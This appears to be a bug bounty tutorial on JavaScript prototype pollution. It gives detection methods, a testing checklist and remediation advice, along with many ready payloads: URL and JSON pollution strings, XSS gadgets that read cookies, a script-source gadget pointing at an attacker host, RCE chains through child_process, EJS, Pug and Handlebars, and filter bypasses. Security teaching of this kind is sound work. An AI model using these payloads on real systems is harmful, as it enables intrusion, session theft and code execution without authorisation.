Prototype Pollution for Bug Bounty in 2026: How to Find and Exploit Prototype Pollution in Real Targets

Prototype pollution is one of the most underrated vulnerability classes in bug bounty. Most hunters skip it because the impact isn't always obvious — polluting Object.prototype doesn't crash anything by itself. But chain it with the right gadget and you get XSS, privilege escalation, RCE, or authentication bypass. Programs are paying $5K–$50K+ for well-demonstrated prototype pollution chains.

This guide covers how prototype pollution actually works, how to find it in client-side and server-side JavaScript, how to discover exploitable gadgets, and how to write reports that get paid.

Key Takeaways

How Prototype Pollution Works

JavaScript uses prototypal inheritance. Every object inherits properties from Object.prototype. If an attacker can write to Object.prototype, every object in the application inherits the injected property — unless it already has that property defined directly.

// Normal behavior
let obj = {};
console.log(obj.isAdmin); // undefined

// After pollution
Object.prototype.isAdmin = true;
console.log(obj.isAdmin); // true — every object now has isAdmin

The vulnerability occurs when user input flows into a function that recursively assigns properties without filtering prototype-related keys.

The Dangerous Pattern

function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object') {
      if (!target[key]) target[key] = {};
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
}

// Attacker input
const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, payload);

// Now every object has isAdmin = true
console.log({}.isAdmin); // true

Three Pollution Vectors

  1. __proto__: {"__proto__": {"polluted": true}}
  2. constructor.prototype: {"constructor": {"prototype": {"polluted": true}}}
  3. Nested path assignment: Functions that resolve dot-notation paths like a.b.c — input __proto__.polluted writes to the prototype

Client-Side Prototype Pollution

Finding Pollution Sources

Client-side prototype pollution happens when URL parameters, hash fragments, or postMessage data flows into a vulnerable merge/set function.

URL-based vectors to test:

https://target.com/?__proto__[polluted]=true
https://target.com/?__proto__.polluted=true
https://target.com/#__proto__[polluted]=true
https://target.com/?constructor[prototype][polluted]=true

Quick detection — paste in browser console after loading the page with the payload:

console.log(Object.prototype.polluted); // "true" = vulnerable

Automated detection with Burp:

Use the "Server-Side Prototype Pollution Scanner" Burp extension (by Gareth Heyes / PortSwigger). For client-side, use "DOM Invader" in Burp's embedded browser — it has a dedicated prototype pollution mode that:

  1. Injects canary properties via URL parameters
  2. Scans the DOM for gadgets that consume those properties
  3. Reports exploitable chains automatically

Common Vulnerable Libraries

LibraryVulnerable FunctionFixed In
Lodash_.merge(), _.set(), _.defaultsDeep()4.17.12+
jQuery$.extend(true, ...)3.4.0+
Hoekmerge(), applyToDefaults()5.0.3+
minimistArgument parsing1.2.6+
qsQuery string parsing6.0.4+
MootoolsObject.merge()Still vulnerable in legacy

Many targets run outdated versions. Check package.json in exposed source maps or use Wappalyzer/Retire.js to identify library versions.

Gadget Discovery — Turning Pollution Into XSS

Pollution alone is informational. You need a gadget — a code path that reads from Object.prototype and uses the value in a security-sensitive way (innerHTML, eval, src attribute, etc.).

Common gadgets:

// Gadget 1: innerHTML assignment
// If code does: element.innerHTML = config.template || defaults.template
// Pollute: __proto__[template]=<img src=x onerror=alert(1)>

// Gadget 2: script src
// If code does: script.src = options.cdnUrl + '/lib.js'
// Pollute: __proto__[cdnUrl]=https://attacker.com/evil

// Gadget 3: jQuery html()
// If code does: $(selector).html(settings.content)
// Pollute: __proto__[content]=<img src=x onerror=alert(1)>

// Gadget 4: eval/Function constructor
// If code does: new Function(config.handler)()
// Pollute: __proto__[handler]=alert(document.domain)

Systematic gadget hunting:

  1. Search JavaScript source for property accesses on config/options/settings objects
  2. Look for fallback patterns: obj.prop || defaultValue — if obj.prop is undefined, it checks the prototype
  3. Trace those values to sinks: innerHTML, outerHTML, document.write, eval, Function(), setTimeout(string), src, href
  4. Use DOM Invader's gadget scanner for automated discovery

Real-World Client-Side Chains

jQuery + URL pollution → XSS:

https://target.com/page?__proto__[innerHTML]=<img/src/onerror=alert(1)>

If the page uses $.extend(true, {}, userConfig) and later reads a property that flows to DOM insertion.

Lodash merge + template gadget:

https://target.com/?__proto__[template]=<img src=x onerror=alert(document.cookie)>

Server-Side Prototype Pollution

Server-side prototype pollution is harder to detect but often higher impact. The pollution happens in Node.js backend code, and the effects are invisible from the HTTP response unless you find the right gadget.

Detection Techniques

Blind detection — status code changes:

Send a JSON body with prototype pollution payloads and observe behavior changes:

{"__proto__": {"status": 510}}

If the server uses res.status(options.status || 200) and options doesn't have status defined, it'll inherit the polluted value — you'll get a 510 response.

Blind detection — JSON spaces:

{"__proto__": {"json spaces": 10}}

Express uses json spaces from app.settings to format JSON responses. If polluted, subsequent JSON responses will have 10-space indentation. This is a reliable detection technique because it's a known Express behavior.

Blind detection — content-type override:

{"__proto__": {"content-type": "text/html"}}

If Express response headers change to text/html, the prototype is polluted.

Blind detection — charset:

{"__proto__": {"charset": "utf-7"}}

Server-Side Gadgets

1. Authentication bypass:

// Server code
function checkRole(user) {
  if (user.role === 'admin') {
    return grantAdminAccess();
  }
}

// If user object doesn't have 'role' defined explicitly:
// Pollute: {"__proto__": {"role": "admin"}}
// Now user.role resolves to "admin" via prototype

2. RCE via child_process:

// If the app spawns child processes:
const { execSync } = require('child_process');
execSync(command, options);

// The 'options' object inherits from Object.prototype
// Pollute shell and env to get RCE:
{"__proto__": {"shell": "/proc/self/exe", "argv0": "console.log(require('child_process').execSync('id').toString())//"}}

// Or via NODE_OPTIONS:
{"__proto__": {"env": {"NODE_OPTIONS": "--require /proc/self/environ"}}}

3. RCE via EJS template engine:

{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}

EJS uses outputFunctionName in template compilation. If polluted, the value is injected into generated code without sanitization.

4. Pug template RCE:

{"__proto__": {"block": {"type": "Text", "val": "x]);process.mainModule.require('child_process').execSync('id');//"}}}

5. Handlebars RCE:

{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}

Combined with a crafted template, this enables prototype method access that leads to RCE.

Testing Methodology for Server-Side

  1. Identify endpoints that accept JSON input and merge it into objects (user profile updates, settings, preferences)
  2. Send the json spaces detection payload — check if response formatting changes
  3. Send the status detection payload — check for unexpected status codes
  4. If pollution confirmed, enumerate gadgets based on the tech stack (Express, EJS, Pug, Handlebars, etc.)
  5. Test RCE gadgets in a local reproduction environment before submitting

Prototype Pollution via constructor.prototype

Some applications filter __proto__ but forget constructor.prototype:

{"constructor": {"prototype": {"polluted": true}}}

This works because:

let obj = {};
obj.constructor === Object; // true
obj.constructor.prototype === Object.prototype; // true

Always test both vectors. Many WAFs and input filters only block __proto__.

Prototype Pollution in GraphQL

GraphQL endpoints that accept arbitrary JSON input objects are common pollution targets:

mutation {
  updateProfile(input: {
    name: "test"
    __proto__: { isAdmin: true }
  })
}

Some GraphQL implementations strip __proto__ during parsing, but constructor.prototype often passes through.

Prototype Pollution in Merge/Clone Libraries

Beyond Lodash, check for pollution in:

Use npm audit output (if accessible) or check package-lock.json in exposed source maps.

Bypassing Prototype Pollution Defenses

Frozen prototypes

If Object.freeze(Object.prototype) is used, direct pollution fails. But:

Input sanitization bypass

// If __proto__ is stripped:
{"constructor": {"prototype": {"polluted": true}}}

// If both are stripped, try nested:
{"a": {"__proto__": {"polluted": true}}}

// Unicode bypass:
{"__pro\u0074o__": {"polluted": true}}

// Bracket notation in path-based assignment:
["__proto__"]["polluted"] = true

Content-Type tricks

Some parsers only apply __proto__ filtering for application/json but not for:

Tools

ToolPurpose
DOM Invader (Burp)Client-side prototype pollution + gadget discovery
Server-Side Prototype Pollution Scanner (Burp)Blind server-side detection
ppfuzzFuzzer for client-side prototype pollution
ppmapScans for known gadgets in client-side libraries
cdnjs-prototype-pollutionDatabase of known vulnerable CDN libraries

Testing Checklist

  1. Test URL parameters with __proto__[canary]=polluted — check Object.prototype.canary in console
  2. Test hash fragment with same payloads
  3. Test JSON body endpoints with {"__proto__": {"json spaces": 10}}
  4. Test constructor.prototype vector if __proto__ is filtered
  5. Check for outdated Lodash, jQuery, qs, minimist in source maps or exposed package files
  6. Use DOM Invader for automated client-side gadget scanning
  7. For confirmed pollution: identify gadgets (DOM sinks for client-side, template engines/child_process for server-side)
  8. Build full exploitation chain (pollution → gadget → impact)
  9. Test in isolated environment before submitting RCE chains

Writing the Report

Prototype pollution reports get downgraded or rejected when they don't demonstrate impact. Always chain to a concrete exploit.

Report structure:

  1. Title: "Prototype Pollution via [endpoint/parameter] Leading to [XSS/RCE/Auth Bypass]"
  2. Severity: Based on the chain impact, not the pollution alone
    • Pollution + XSS → Medium to High
    • Pollution + Auth bypass → High to Critical
    • Pollution + RCE → Critical
    • Pollution alone (no gadget) → Low/Informational (many programs won't pay)
  3. Steps to reproduce: Show the full chain — pollution source → gadget → impact
  4. Impact: Describe what an attacker achieves (session hijacking, admin access, code execution)
  5. Remediation: Recommend Object.create(null) for config objects, input filtering for __proto__ and constructor, library updates, Object.freeze(Object.prototype)

Example title:

"Client-Side Prototype Pollution via URL Parameters Chaining to Stored XSS Through jQuery $.extend Gadget on /dashboard"

Related Guides

Advertisement